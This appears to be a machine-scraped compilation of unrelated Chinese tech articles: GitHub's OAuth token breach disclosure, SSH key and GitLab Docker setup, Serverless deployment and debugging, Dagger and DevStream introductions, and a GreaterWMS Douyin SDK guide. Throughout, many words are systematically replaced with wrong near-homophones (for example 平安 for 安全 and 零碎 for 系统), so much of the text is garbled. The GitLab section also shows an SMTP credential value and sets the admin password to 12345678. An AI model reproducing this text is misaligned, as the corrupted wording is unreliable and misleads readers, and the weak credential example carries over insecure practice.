统计数据显示，截止 2021 年俄罗斯共有开发者 41.2 万。若依照欧美所言，俄罗斯“履行军民不分家举国体制”，那么此次“GitHub 账号封禁”事件将影响全副开发者。 ...

近日，GitHub 平安团队走漏称：有证据表明，攻击者滥用了发给 Heroku 和 Travis CI 的 OAuth 用户令牌（这些被滥用的代币是发给两个第三方 OAuth 集成商的），从组织帐户下载数据，从而毁坏了 GitHub 帐户。 这一信息是由 GitHub 平安团队于 2022 年 4 月 12 日开始考察后披露的。 上周五，GitHub 正式走漏称：一名身份不明的“黑客”利用窃取的 OAuth 用户代币（发给 Heroku 和 Travis CI 的）非法下载数十家公司组织的私人数据。 GitHub 首席平安官 Mike Hanley 示意，受影响的组织包含 NPM，GitHub 用户和 GitHub 自身应用指标集成商保护的应用程序。 GitHub 并未受到威逼Mike Hanley 宣称，攻击者并非通过泄露 GitHub 来取得这些代币的。 这些集成商（即 Heroku 和 Travis CI）保护的应用程序由 GitHub 用户应用（包含 GitHub 自身）。但理论的 GitHub 零碎没有受到影响，因为 GitHub 没有以原始格局存储这些令牌。 Mike 示意：“咱们不置信攻击者能通过 GitHub 或其零碎的斗争取得这些令牌，因为 GitHub 没有以原始的、可用的格局存储这些令牌。” Mike 在他的博客文章中补充道：“咱们对攻击者其余行为的分析表明，这些参与者可能正在开掘下载的公有存储库内容，窃取的 OAuth 令牌能够拜访这些内容，以获取可用于转向其余基础设施的秘密。” ...

40s 新闻速递工信部：2021 年全年通报违规 1549 款、下架 514 款 APP库克怒批监管机构，强烈拥护 iPhone 侧载微软总裁正告科技公司：监管终会到来，不论你喜不喜欢更新 Windows 10/11 后，Chrome、Edge 浏览器产生报错华为员工利用公司零碎 Bug 越权拜访秘密数据Google 行将在 iOS 上推出 "切换到 Android" 应用程序一口价 434 亿美元，马斯克要强势私有化收买 TwitterWin11 正式版 4 月份装置率仅 1.44%苹果批评 Meta 近 50% 高额抽成行为功亏一篑，5.4 万 Star 一朝归零PDManer v4.0.0 曾经公布Day.js v1.11.1 公布PhpStorm 2022.1 正式公布.NET 7 第三个预览版正式公布Go 1.18.1 公布行业资讯工信部：2021 年全年通报违规 1549 款、下架 514 款 APP在国务院新闻办举办的新闻发布会上，工业和信息化部网络安全管理局局长隋静示意，工信部继续推动 APP 个人信息爱护专项整治，2021 年全年组织对 208 万款 APP 进行了技术检测，通报违规 1549 款，下架 514 款，无力整治守法违规行为。 库克怒批监管机构，强烈拥护 iPhone 侧载苹果公司 CEO 蒂姆・库克在寰球隐衷峰会上发表主题演讲时，强调苹果公司让用户管制其数据的隐衷性能，如 App 跟踪透明度，但他也 “深切关注” 拟议的法规，质疑和批评这些法规将减弱这些性能，使用户面临隐衷和平安危险。例如，在欧盟，拟议的《数字市场法》将要求苹果公司容许在 App Store 之外的 iPhone 上进行应用程序侧载。 ...

前言团队的我的项目近期更换到GitLab托管了，验证形式也从以前的HTTPS+SSH变成了纯SSH，所以就须要配置SSH Key。 SSH的加密应用的RSA算法，文章开端将给出一个简略的加密解密演示。 一、生成公钥私钥对先看看无Key连贯近程仓库会呈现什么状况： git fetch --all正在获取 originThe authenticity of host '[gitlab.yunzhi.com]:2208 ([123.234.166.144]:2208)' can't be established.ED25519 key fingerprint is SHA256:oDUUd81eFr9WsLsNvx9fEHxb1bS71o.This key is not known by any other namesAre you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '[gitlab.yunzhi.com]:2208' (ED25519) to the list of known hosts.git@gitlab.yunzhi.com's password:Permission denied, please try again.git@gitlab.yunzhi.com's password: 首先提醒密钥没有验证过，是否持续抉择持续后会提醒输出git的明码咱们没有git的明码所以，是没有方法失常拉取的。 为什么会提醒git账户呢？我猜是Url里写的是git@gitlab.xxx.com也就是用户名艾特主机名，所以终端把git作为账户解决了，才会让咱们输出git的明码。 正确的打开方式来了： 在Linux/Mac终端或Windows的GitBash输出： // 生成公钥私钥对ssh-keygen -t rsa -C '邮箱'// 示例，提示信息能够全副默认回车ssh-keygen -t rsa -C '123.abc'Generating public/private rsa key pair.Enter file in which to save the key (/Users/lyx/.ssh/id_rsa):Enter passphrase (empty for no passphrase):Enter same passphrase again:Your identification has been saved in /Users/lyx/.ssh/id_rsaYour public key has been saved in /Users/lyx/.ssh/id_rsa.pubThe key fingerprint is:SHA256:eYm9YeewQwsUO/Ai5zgDb+tKNJZ7dEM 123@abc.comThe key's randomart image is:+---[RSA 3072]----+| o. . ||+..o . ||+*oooEo ||Bo= o= . + . ||=X o.o. S O . ||*oO . . = O || = + = . ||. o . ||.o. |+----[SHA256]-----+一路操作之后会在用户目录~/.ssh/下生成两个文件： ...

原文链接：https://blog.dengchao.fun/2022/04/02/deploy-static-website-to-fc/ 作者 | 邓超 Serverless Devs 开源贡献者 前言公司常常有一些网站须要公布上线，比照了几款不同的产品后，决定应用阿里云的函数计算（FC)来托管构建进去的动态网站。 FC 弹性实例自带的500 Mb 存储空间对动态网站来说几乎是太短缺了 。 函数计算资源应用：https://help.aliyun.com/document_detail/51907.html部署动态网站到 Custom Runtime 函数假如咱们当初有如下构造的前端工程： /├ dist/ 待部署的构建产物│ └ index.html ├ src/└ package.jsonstep 1. 编写一个简略的 HTTP 服务器以 Express 为例, 首先增加依赖到工程: yarn add express而后新建 app.js 并写入: let Express = require("express");let app = new Express();app.use(Express.static('dist')); // 应用 dist 文件夹中的内容对外提供动态文件拜访app.use((req, res) => { res.redirect("/"); }); // 重定向无奈解决的申请到网站的根目录let port = 9000;app.listen(port, () => { console.log(`App started on port ${port}`); }); // 监听 FC custom 运行时默认的 9000 端口通过 node app.js 启动这个简略的 Express 服务器, 并拜访 http://localhost:9000 确认 /dist/index.html 能被拜访到。 ...

作者 | 营火、计缘、张祖旺 前言以后疫情局势仍然严厉，各行各业万众一心，携手抗疫。新冠病毒核酸检测筛查是疫情防控的重要一环，如何应答疫情的一直重复，以及每日数以万计的核酸检测后果成为每个检测公司的一个难题。 背景谱尼测试团体创建于 2002 年，现已倒退成为领有逾 6000 余名员工，由近 30 个大型试验基地及近 100 家全资子、分公司组成的服务网络遍布全国的大型综合性检测团体。同时也是北京市批准的生物医药类工程实验室 、北京市科委认定的工程技术钻研核心、北京市经信委认定的企业技术核心。 2020年4月15日，北京市公布承当新冠病毒核酸测验服务单位，谱尼测试团体旗下全资子公司北京谱尼医学成为首批新冠病毒核酸测验机构之一，承当北京及周边市区和城镇新冠病毒核酸测验工作。 老平台遇到新问题最后，谱尼测试仅仅只是将本身的新冠病毒核酸检测业务搭建在阿里云云服务器ECS上，然而之后在业务运行的过程中，陆续暴露出了一些问题，因而谱尼测试逐渐有了降级架构的想法。作为阿里云旗舰级合作伙伴，北京乘云至达始终和谱尼放弃着亲密的交换，并继续在产品反对和方案设计上提供帮忙。 工夫来到2021年10月，X省突发新冠疫情，累计确诊人数短期内攀升到百人以上。当地政府迅速开展防疫工作，谱尼测试承当了该省会城市周边乡镇的核酸检测工作。工夫紧，工作重，谱尼通过外部的评估，现有的技术架构曾经不能满足检测工作的要求。为了晋升核酸检测效率并应答突发的高并发场景，研发负责人被动分割北京乘云至达，心愿能够从技术方面通过阿里云相干产品和解决方案解决现存难题。 联合本次检测工作的要求以及过往和谱尼测试的技术交换内容，北京乘云至达总结了谱尼测试面临的3大问题： 运维老本高：面对业务洪峰时每一次都要提前进行容量预估、筹备环境、部署利用等繁琐操作，存在大量的反复工作。应答业务洪峰能力有余：面对忽然的流量激增，往往须要长期部署利用进行应答，整个流程不仅耗时，同时影响客户侧的用户体验。版本迭代危险大：零碎上线、版本迭代流程须要一套残缺的解决方案，每次上线新的版本都须要进行繁琐的配置来实现公布，并且无奈保障公布之后的稳定性。 SAE 解难题通过充沛沟通，在对谱尼测试的利用场景和需要有了深刻了解后，乘云至达为谱尼测试举荐了阿里云Serverless 利用引擎（以下简称SAE）这款产品，SAE的很多特点可能十分无效地帮忙到谱尼测试： 完满反对Java微服务架构：通过SAE能够疾速构建Java SpringCloud技术栈微服务利用全生命周期治理和服务治理的平台。无需在破费额定资源和老本去搭建配套组件，极大晋升了零碎的构建效率。灵便的弹性策略和极致的弹性速度：通过SAE极致的弹性能力和灵便的弹性策略轻松构建可能高效、稳固应答不定时的核酸预约流量洪峰的机制和架构。能够依据业务流量自适应的扩缩服务实例，整个过程用户无感知、无需人工染指。极大保障业务利用的稳定性：通过SAE内置的APM利用监控能力，从纵向指标到横向链路两个维度全方位的剖析利用的衰弱状态，对整体利用的衰弱水平一目了然。同时配合健康检查和无损高低线能力实现在白天也能够公布利用，极大进步运维音讯和版本迭代速度。 稳步上云，从容应对检测顶峰为了更好地帮忙谱尼测试实现技术架构的迁徙，乘云至达采纳了“测”、“问”、“带”、“排”的四大服务策略： 测：先客户一步测试，对SAE文档视频材料中地部署步骤，进行先入钻研测试，体验每一步操作过程，并对测试应用过程呈现问题做好相应记录。问：把本人测试SAE部署利用过程中遇到的问题，寻找相应解决办法，对不懂地步骤及时分割阿里云云原生团队进行沟通；带：为客户出具SAE具体部署计划文档及前端容器打包流程，一对一率领客户进行业务测试部署，急躁粗疏的解答客户对部署流程上的问题，促成客户对SAE部署流程的理解；排：对客户应用过程呈现的问题，进行积极响应，及时排查解决，并分割阿里云云原生团队作为反对，保障利用失常运行。凭借SAE的弹性速度、弹性策略以及对利用全生命周期治理的能力，谱尼测试极大的进步了检测平台的的效率和稳定性，顺利应答屡次大型检测场景，为全国的抗疫事业削减一份牢靠，奉献本人的力量。 疾速构建强壮的外围零碎：得益于SAE集成的各种能力，谱尼测试应用Java SpringCloud技术栈，在很短的工夫内就开发构建好了整个零碎，并且稳固、牢靠。极大进步运维效率并升高运维老本：通过SAE弹性策略解决方案，能够从容应对固定周期的业务洪峰，省去了原来预估资源、部署利用的操作，大大节俭了运维团队的工作量。从容应对业务洪峰：通过SAE极致弹性的个性，能够做到在面对突增业务流量时的从容应对，无需长期部署利用。时刻感知业务利用衰弱状态：通过SAE平台提供的微服务生命周期治理能力和微服务治理能力，缩短上线周期和减少版本迭代稳定性，疾速发现利用的性能瓶颈制订优化策略。潮落江平未有风，扁舟共济与君同。阿里云联结乘云至达与谱尼测试携手，独特筑建抗疫堡垒，共抗疫情、共克时艰。 附：乘云至达简介北京乘云至达科技有限公司，成立于2016年，总部在北京，于上海，广州，成都，深圳，石家庄等地设有分公司，目前是阿里云旗舰级合作伙伴，曾经在互联网，新批发，制造业，新农业，金融等行业服务超过2万家客户，年营业额达3亿元，联合阿里云产品及解决方案，为客户提供云计算，物联网，大数据，人工智能等解决方案、售前征询、交付施行、售后等一体化服务。 更多内容关注 Serverless 微信公众号（ID：serverlessdevs），会集 Serverless 技术最全内容，定期举办 Serverless 流动、直播，用户最佳实际。

English version: 《Dagger In-Depth: Everything You Need to Know》 Author: @Tiexin Guo(郭铁心) 翻译：Runrunniu 1 什么是 Dagger ？TL;DR：Dagger 是在 Docker 容器中本地运行 CI/CD 流水线的工具 说实话， Dagger 很难有具体的定义。媒体称之为“DevOps 平台”；风投机构称其为“DevOps 操作系统”。 但 Dagger 并不能这样定义。在咱们讲 Dagger 是什么之前，先来理解以下内容： 2 Dagger 的特点2.1 BuildKitDagger 的配置在 BuildKit 中执行，这是 Docker 的外围执行引擎(镜像构建神器)。 BuildKit 作为 Moby 我的项目一部分被开发，是一个凋谢框架，用于组装专门的容器零碎，而无需 Docker 从新组装。实质上，它是一个工具包，可能高效、可反复地将源代码转换为构建工具。2017年，BuildKit 首次公布，并在2018年9月与 Docker Engine 一起公布了 2018 版本。 2.2 CUE与大多数 CI 零碎不同，你不须要用 Dagger 编写 YAML，只须要编写 CUE。 CUE 是一种开源的数据验证语言和推理引擎，实质上是逻辑编程，旨在简化波及定义和应用数据的工作。实际上是 JSON 的超集，纯熟应用 JSON 的用户能够疾速上手，另外CUE还具备内置的主动格式化性能。 只管它不是通用编程语言，但它有很多利用，例如数据验证、数据模板、配置、查问、代码生成，甚至脚本编写等等。 2.3 请等一下既然为配置执行重用 Docker 的局部，为什么不重复使用另一部分的文件呢？ ...

*English version: 《Hello, World》Author: @Tiexin Guo(郭铁心)中文版：《你好，世界》作者：@胡涛(Daniel Hu) 不必尝试切换中英文版本看下我翻译的好不好，我就不是从英文版翻译过去的。咱们的文章如果是双语公布，那就肯定是两次原创。尽管表白的主题一样，可能也只有主题一样了。* （如果你违心深刻浏览本文，请点击文末“浏览原文”跳到网页版持续。毕竟我懒得排版） 本文不算短，然而我晓得你会读完。如果没读完，，不可能，相对不可能！ 在第一篇博文里，我要讲些啥呢？如同我也没有想好。然而他们喊我写，那我就写了。好，让咱们荡起双桨，不是，让咱们开始吧！ 别别别划走，给我三分钟，还你一天好情绪！别急，置信我，下文不会让你看着"心力憔悴"，你能够笑着看齐全文，并且毫不费力地学到新姿态，不是，新常识，新常识！ 很多时候，我像一个"小白"用户。（尽管我是，然而我晓得你们不信。）我怎么个"小白"法呢？ 比方我喜爱用开源软件（白嫖谁不喜爱？），然而我相对懒得在遇到问题的时候上 GitHub 给对应的开源我的项目开一个 issue 来反馈我遇到的问题，更别提开一个 pr 来修复我遇到的问题了。 或者有一天我情绪大好，我会给一些"反馈"，兴许是在用户群里，兴许是在其余中央。当然个别用着爽了，不可能开一个 issue 表示感谢。然而用着很不爽，或者我会忍不住开个 issue 问一句： 啥破玩意？就这？好意思开源？WTFFF！！！ 我做着朝九晚五的工作，我不加班，我上班后不工作。 然而如果我遇到一个好玩的开源软件，或者上班后你会看到我还在参加某个开源我的项目，不论是写代码，还是参加社区例会。这不是我的工作，这是我的喜好，我的生存。 起初我就没那么"小白"了！而一个"大白"用户的涵养，就是学会了提提 issue，提一些小的 pr，参加一些社区活动，晓得开源我的项目的最新动静，逐步融入了开源社区。 说个笑话：我上班了不工作。我不感觉玩开源社区是工作。我喜爱没日没夜倒腾开源社区。而后老板给我的工作就是玩"开源社区"！！！WTF！！！老板催我写注释了。好吧，本文还是要介绍 DevStream 的，不能全文胡扯。 在这篇"创世"博文里，我筹备： 向你介绍 DevStream 的工作原理（不要放心，不会波及到简单的原理，简单的我也不会）；带你走读咱们的代码库（不要放心，不会波及到简单的源码，简单的我也不会）；通知你如何开发自定义插件（不要放心，看完了你只会晓得一个大略，真想上手还是得看咱们的官网文档）。如果你没有听过 DevStream，不焦急，请先花半分钟工夫浏览下 DevStream 的 README。 我想听到你的骂声咱们在三月初公布了 v0.1 版本，总有人质疑咱们是不是太早 release 了。其实不早。咱们必定也不是不小心 release。 咱们是成心的。没错，成心的。咱们其实能够躲着偷偷再开发几个月，实现更多的性能，反对更多的插件，把 DevStream 做的更完满再 release。 然而咱们放心的是 "咱们认为好的性能" != "你真正须要的性能" 咱们有很多的想法，咱们有很多想做的性能，但咱们不是最终的用户。咱们当初做的很多事件其实是在"假如"，在猜用户想要什么性能。 既然是想要晓得"用户"想要什么性能，为什么不早点 release 进来，让用户来通知咱们还缺什么，让用户通知咱们哪里做的不好呢？ 那就收回去吧，先 release，听听用户的骂声。咱们要做的，就是不给用户第二次骂的机会，以最快的速度反馈用户的反馈，解决用户的问题。 行，废话了这么多，如果你对 DevStream 有一些趣味，欢送关上咱们的 GitHub repo，看下 README 和 quickstart，体验一下 DevStream 的性能。 ...

导读：在利用开发过程中，或者开发实现后，若呈现执行后果不合乎咱们的预期时，通常须要进行肯定的调试工作。然而在 Serverless 架构下，调试工作往往会受到一些环境因素限度，如所开发的利用在本地是比拟衰弱的、且合乎预期的运行，然而在 FaaS 平台上，呈现了一些问题；或者是在某些非凡的环境下，本地没有方法模仿线上环境，难以进行我的项目的开发和调试怎么办？ 概述本文将借助 Serverless Devs 工具，对函数计算 (FC）利用的断点调试步骤进行具体领导，手把手带你实现 Serverless 的断点调试，并从以下四个方面为你厘清“硬核调试”的脉络步骤，干货满满： 一、概述局部介绍了调试能力的重要性，以及以后阿里云函数计算（FC）所能提供的调试能力； 二、调试之旅列举了对于 “应用 Serverless Devs 在不同 IDE 中进行断点调试” 的具体步骤； 三、总结局部主观诉说断点调试的待改良之处； 四、附录则为各位开发者汇总了断点调试操作的具体动图。 在 Serverless 利用架构下，调试能力往往是利用开发者所非常关注的问题，它决定着程序的开发效率。Hackernoon 在对于 Serverless（无服务器）的业界调研报告指出：迄今为止，Debugging（调试）仍旧是 Serverless 落地最大的痛点与挑战。 报告《Top 5 Serverless Trends》：https://hackernoon.com/top-5-serverless-trends-in-2020-wd1m3t8g调试能力次要蕴含两种，一是运行程序的能力；二是断点调试能力。前者是调试的根底能力，能够判帮忙开发者判断程序是否失常运行，验证程序运行后果的正确性；后者是调试的高级能力，可能帮忙用户不便定位到导致程序运行出错或者不合乎预期的地位。 目前业界已有的 Serverless 利用调试伎俩，次要是在本地模仿云端执行环境进行本地调试；或者将利用部署到云端运行后基于日志进行调试。然而，本地调试无奈模仿云端的网络环境，云端调试又不足本地的灵活性。为了可能克服这些缺点，将 Serverless 利用调试做到开箱即用，阿里云函数计算团队通过一番摸索，开发出了一套业界翻新的调试工具，全方位提供本地调试以及端云联调能力。 本地调试：基于本地环境以及网络，依赖容器化技术，对 Serverless 利用进行拟运行，从而达到调试的目标，具体操作文档可参考。https://github.com/devsapp/fc/blob/main/docs/zh/command/local.md端云联调：基于本地环境，冲破网络限度，依赖容器化技术，对 Serverless 利用进行拟运行，运行时买通本地与云端网络的壁垒，保障与云端资源的交互，应用文档请参考。https://github.com/devsapp/fc/blob/main/docs/zh/command/proxied.md本文所提到的本地调试工具，均提供断点调试能力，且与 Serverless 利用程序开发标准齐全兼容，上面咱们一起看一下对于断点调试的具体操作步骤。 调试之旅断点调试步骤总结为如下流程，上面我将率领各位围绕这四个步骤，开启一场断点调试之旅： 启动 Serverless 利用启动断点调试器开始断点调试完结断点调试 1、前置操作在开始进行调试之前，须要进行一些前置操作，本文将前置操作分为通用前置操作以及端云联调附加的前置操作： 通用前置操作： 装置调试 IDE:可选的 IDE 有 VSCode、Pycharm 以及 Intellij 三种；随后在开始应用这些性能之前，请装置好调试工具: 这里咱们须要装置一下 Serverless Devs，具体的装置形式参考文档：https://help.aliyun.com/document_detail/195474.html；相熟新一代函数计算工具链的应用形式，可参考：https://github.com/devsapp/fc；下载安装 Docker:调试能力都须要依赖 Docker，因而须要本地环境中有 Docker 工具，装置形式请参考这里:https://docs.docker.com/get-docker/最初还须要注册一个阿里云账号，应用 Serverless Devs 配置阿里云账号，具体配置形式能够参考这里。https://help.aliyun.com/document_detail/295894.html端云联调附加的前置操作： ...

文章起源 | 恒源云社区 原文地址 | 【小技巧-代码篇】 如何减速从 GitHub 上克隆代码或下载文件？减速克隆代码能够将 github.com 替换为 github.com.cnpmjs.org 的镜像地址。如仓库地址为 https://github.com/kelseyhightower/nocode.git替换后的地址为 https://github.com.cnpmjs.org/kelseyhightower/nocode.git # 原始地址 https://github.com/kelseyhightower/nocode.git# github.com 替换为 github.com.cnpmjs.orggit clone https://github.com.cnpmjs.org/kelseyhightower/nocode.git下载 GitHub 的 Releases、Raw 文件能够应用 GitHub Proxy 服务。在残缺地址前加前缀 https://mirror.ghproxy.com/ # 原始地址 https://raw.githubusercontent.com/kelseyhightower/nocode/master/README.md# 地址加前缀 https://mirror.ghproxy.com/curl -L https://mirror.ghproxy.com/https://raw.githubusercontent.com/kelseyhightower/nocode/master/README.md因为机器的地区差别，不同镜像地址的成果可能不同。如果下载速度依然不称心能够再测试如下两个： FastGitGitClone

前沿场景一：如果老板让你写一个计划，重复沟通后，批改了很多版，最初老板说用回第一版，你还记得你批改过哪些地方吗？聪慧的你可能会每次都会备份一份。然而如何看出各个版本之间的差别呢？ 场景二：如果你筹备写一本开源的书或者教程，你可能会间接在某个网站平台更新。在一直的更新迭代中，如何让用户清晰的晓得，你批改了哪些内容，你的思维变动是怎么的？如果用户发现了你文章的谬误，或者他有更好的表达方式，他如何更好的参加进来？在评论区给你留言？有没有更高效的形式？最好的计划，是他克隆一份你的我的项目，批改实现后，提交给你审核，你确认没问题后，批准他的提交。这样实现最终的批改。他也会作为这个我的项目的贡献者。 下面两个场景的问题，须要通过什么工具能够实现呢？上面为大家介绍明天的配角Github。 Github是什么?(what)Github是寰球最大的开源我的项目平台网站，网址是：www.github.com。特点：基于Git的版本控制系统，全球化资源丰盛。外围性能版本控制 历史记录（history && diff） 文件的所有批改记录（重命名，段落挪动，每一行，每个单词的变动都能够疾速比照进去）。并且晓得每一行是谁（反对多人合作），在什么时候提交的。版本回退(reset) 对于提交不称心的内容，能够随时吊销提交，回退到之前的任意版本。后悔药分支 能够通过分支，并行写一些内容，分支之间能够随时合并，比拟，公布。合作 多人同时开发一个我的项目，你能够作为我的项目负责人，确认大家提交的而后合并到主我的项目来。Github能够做什么及劣势?（why）Github尽管次要是程序员在应用，然而借助它弱小的版本控制和多人合作性能。普通人也能够在下面创立很多，其余有意思的我的项目，比方：写小说（小说），写攻略（杭州买房攻略），写面试题，写教程，单干翻译外国电影/书籍/软件（https://github.com/jkyin/Subt...），整顿行业材料索引。甚至有人用它曝光996加班公司，制作中华古诗词数据库。 劣势如下： 【全球化】内容能够被国外用户看到【弱小的版本控制】【弱小的协同能力】其余性能： 搭建博客网站，集体网站，公司网站。应用github page,可独自绑定域名普通人如何疾速上手Github?(how)1. 找到你感兴趣的我的项目搜寻你关怀的关键词找到你感兴趣的我的项目参加到开源我的项目2. 开始应用Github做一个开源我的项目创立我的项目提交内容3. 当网盘应用长处 不限速不限容量给其他人下载不须要登陆账号参考资料：https://www.youtube.com/watch?v=88iPjxeaXpg&ab_channel=学习呀三木

服务器要求：cpu:2+;内存:2G+; 1.gitlab镜像拉取 # gitlab-ce为稳固版本，前面不填写版本则默认pull最新latest版本$ docker pull gitlab/gitlab-ce2.运行gitlab镜像 $ docker run -d -p 1443:443 -p 180:80 -p 122:22 --name gitlab --restart always -v /home/gitlab/config:/etc/gitlab -v /home/gitlab/logs:/var/log/gitlab -v /home/gitlab/data:/var/opt/gitlab gitlab/gitlab-ce# -d：后盾运行# -p：将容器外部端口向外映射# --name：命名容器名称# -v：将容器内数据文件夹或者日志、配置等文件夹挂载到宿主机指定目录3.配置按下面的形式，gitlab容器运行没问题，但在gitlab上创立我的项目的时候，生成我的项目的URL拜访地址是按容器的hostname来生成的，也就是容器的id。作为gitlab服务器，咱们须要一个固定的URL拜访地址，于是须要配置gitlab.rb（宿主机门路：/home/gitlab/config/gitlab.rb） # gitlab.rb文件内容默认全是正文$ vim /home/gitlab/config/gitlab.rb# 配置http协定所应用的拜访地址,不加端口号默认为180external_url 'http://192.168.199.231:180'# 配置ssh协定所应用的拜访地址和端口gitlab_rails['gitlab_ssh_host'] = '192.168.199.231'gitlab_rails['gitlab_shell_ssh_port'] = 222 # 此端口是run时22端口映射的222端口:wq #保留配置文件并退出4.发送邮件配置配置文件:/etc/gitlab/gitlab.rb gitlab_rails['smtp_enable'] = truegitlab_rails['smtp_address'] = "smtp.qq.com"gitlab_rails['smtp_port'] = 465gitlab_rails['smtp_user_name'] = "xxxxxxxxx@qq.com"gitlab_rails['smtp_password'] = "ejdoukrfgj"gitlab_rails['smtp_authentication'] = "login"gitlab_rails['smtp_enable_starttls_auto'] = truegitlab_rails['smtp_tls'] = truegitlab_rails['gitlab_email_from'] = 'xxxxxxxxx@qq.com' smtp_user_name:发件邮箱号smtp_password:受权码非邮箱登录明码 配置好重启服务器 5.批改管理员明码切换到相应门路下 cd /opt/gitlab/bin/关上控制台gitlab-rails console查问用户账号信息并赋值给uu=User.where(id:1).first设置该用户名的明码，明码这里不要应用引号，不然会无奈登录胜利u.password=12345678确认明码u.password_confirmation=12345678保存信息u.save!退出exit ...

利用介绍GreaterWMS 抖音SDK调用教程 SDK具体性能:1，一仓多店，多仓多店2，库存同步，商品同步3，快递发货，物流轨迹4，订单拦挡5，字节云仓6，精选联盟7，供给分销8，售后退款，账单 对应的API链接抖音API文档抖音音讯推送文档 创立抖店去抖音官网创立个商家利用抖店利用会给到3个Key，APPID，APP_SECRET，SHOP_ID在GreaterWMS电商店铺中，抖音页面增加一个店铺填入之前取得的3个Key和店铺名称GreaterWMS会给这个店铺生成一个惟一值，用来实现一仓多店的唯一性 沙箱环境开启沙箱环境为了平安起见，并不能通过前端去批改，免得用户正点向以下门路post一个json datahttp://127.0.0.1:8008/shopid/...{ "t_code": "{ 你方才在GreaterWMS会给这个店铺生成一个惟一值 }", "sandbox": "{ 将sandbox调整成开启还是敞开，开始是1，敞开是0 }"}由此来管制店铺是否正式经营上线，默认是正式环境 代理IP开启代理IP为了平安起见，并不能通过前端去批改，免得用户正点向以下门路post一个json datahttp://127.0.0.1:8008/shopid/...{ "t_code": "{ 你方才在GreaterWMS会给这个店铺生成一个惟一值 }", "proxy": "{ 将代理调整成开启还是敞开，开始是1，敞开是0 }", "proxy_ip": "{ 代理ip，是一个json数据 }"}代理设置，None或者{"https": "http://10.10.1.10:1080"}，具体格局参见https://docs.python-requests....由此来管制店铺是否正式应用代理，默认是不应用 装置下载插件https://community.56yhz.com/p... 放到GreaterWMS根目录上面 pip install GreaterWMS_DouYin-1.0.0-py3-none-any.whl版本的更新，装置的插件名会不同，请自行调整版本 注册appINSTALLED_APPS = [ '...','...','douyin'] API调用例子 在views.pyfrom douyin.views.ding_dan.order_searchList import OrderSearchList class Test(OrderSearchList): def __init__(self): self.params = {} self.param.product_id = "3539925204033339668" self.param.out_product_id = "11111" self.param.show_draft = "true"urls.pyfrom django.urls import pathfrom .views import Test urlpatterns = [ path(r'test/', Test.as_view({"post": "create"}), name="test")]接下来只有向这个接口POST一个之前提到的店铺惟一值，"t_code" 就能够获取数据 ...

本文整顿自阿里巴巴研究员丁宇在中国计算机教育大会上做的报告，次要分享了云计算向云原生的技术演进、阿里云在云原生畛域的工作与实际，以及从产业角度谈对计算机人才的需要，冀望能和中国高校的计算机教育工作者们一起推动计算机教育的倒退。 云计算带来全新的软件产业构造一个阶段的技术解决一个阶段的问题，过来 30 年利用技术经验了飞速的倒退。 1995 年 - 2008 年，企业的外围诉求是解决小规模 MIS 到企业简单业务零碎的问题，从单机技术倒退到分布式集群技术 （如 CORBA、EJB），这个过程中应用到了一些过后十分风行的商业化中间件 （如 WebLogic、WebSphere、IBM MQ、Spring、tomcat）。 2009 年 - 2018 年，随着互联网技术的衰亡，企业更关怀如何解决业务零碎反对亿级用户的老本和规模扩大问题。这个时候的技术架构从分布式集群技术向互联网技术架构（如容器、微服务、DevOps 等）转变，开源的中间件产品（如 Dubbo、RocketMQ、Spring Cloud）受到关注，很多企业开始基于开源我的项目搭建本人的业务零碎。 从 2019 年开始，随着云原生技术的衰亡，企业对于数字化转型的需要变得十分迫切，企业开始关注业务麻利迭代、数据智能化问题，云原生架构应运而生。从互联网架构向云原生架构转型，从全面上云到云上百花齐放的翻新利用，企业开始转向应用更稳固的、面向利用优化的云原生产品（如神龙+容器、容器+AI、云边端治理、多云/混合云治理、aPaaS、函数计算、云原生技术中台 CNStack、DevOps 等）。 云计算是前几代技术的集大成者，从企业应用架构，演进到互联网架构，再到云原生架构，通过基础设施云化、核心技术互联网化、利用数据化、决策智能化四部曲，助力产业数字化降级。 能够说，云计算带来全新的软件产业构造改革。 明天，云原生技术曾经成为开发者必备的一个技能，当代的开发者会基于云产品进行技术的选型、利用的开发，咱们也看到行业的利用正在全面向云原生转型。 在理论生产中，咱们也能清晰感触到云原生带来开发模式的变革。从架构、利用交付、运维、扩展性、依赖性、甚至是企业的组织文化等，都产生了十分大的扭转。IDC 预测，到 2024 年，数字经济的倒退将孕育出超过 5 亿个新利用，这与过来 40 年间呈现的利用数量相当。云原生的技术和开发方式让这些海量新利用可能在短时间呈现成为了可能。在云原生时代，云产品的外围竞争力是什么？云产品的立身之本就是继续要做先进生产力的代表，这就要求云产品具备硬核的技术能力，并能实现疾速迭代。对于任何一家企业而言，本身的零碎是很难具备如此倔强的生命力和竞争力，阿里巴巴也是如此。因而，在 2020 年阿里巴巴全面切换为云原生产品撑持大促，并在 2021 年实现云产品的容器化和 Serverless 化。阿里云全面进入云原生时代。 阿里云领有国内最丰盛的云原生产品家族阿里云领有超过 300 款云产品，近千个技术解决方案，包含云原生 DevOps、aPaaS & 微服务、音讯和事件驱动、利用工具、Serverless 架构、云原生技术中台 CNStack 等，以及云原生数据库、大数据 / AI、视频云等。云原生产品能够为企业提供五大外围价值：零碎稳固、资源弹性、利用麻利、业务智能、平安可信。能够说，一家企业诞生于云原生时代，能够把本人的 IT 体系全面基于云去构建，阿里云能够提供最残缺的技术计划和产品体系。 千行百业背地的云原生力量申通快递外围零碎全面迁入阿里云，云上日均解决订单量近 3000 万，业务高峰期每秒申请数解决效率晋升 30%，资源利用率晋升 80%，老本升高 50%。 北方航空构建业务中台解决方案，南航 150 万航班 3900 万个舱位曾经实现云端准实时查问，国内国内航班订单均匀响应工夫仅 2 秒。 ...

时至今日，大多数开发者曾经逾越对 Serverless 概念理解，走向落地实际。然而如工具不足、厂商绑定，调试难等问题，仍然困扰着很多曾经或者预计应用 Serverless 的企业和开发者。为了让开发者疾速定位 Serverless 开发问题，找到对应解决办法，阿里云云原生 Serverless 团队，全新公布 2022 版本《Serverless开发速查手册》。 本书特地邀请阿里云 Serverless 产品经理、布道师刘宇（江昱），从 0 开始解说 Serverless 技术，介绍 Serveless 在不同畛域利用，探讨利用全生命治理平台 Serverless Devs 的应用办法和实操案例。咱们心愿给 Serverless 开发者制作一本可能速查、速懂的工具书，实实在在帮忙开发者疾速解决 Serverless 开发遇到的理论问题，让大家可能踏踏实实享受 Serverless 带来的技术红利！ 收费在线浏览《Serverless 开发速查手册》 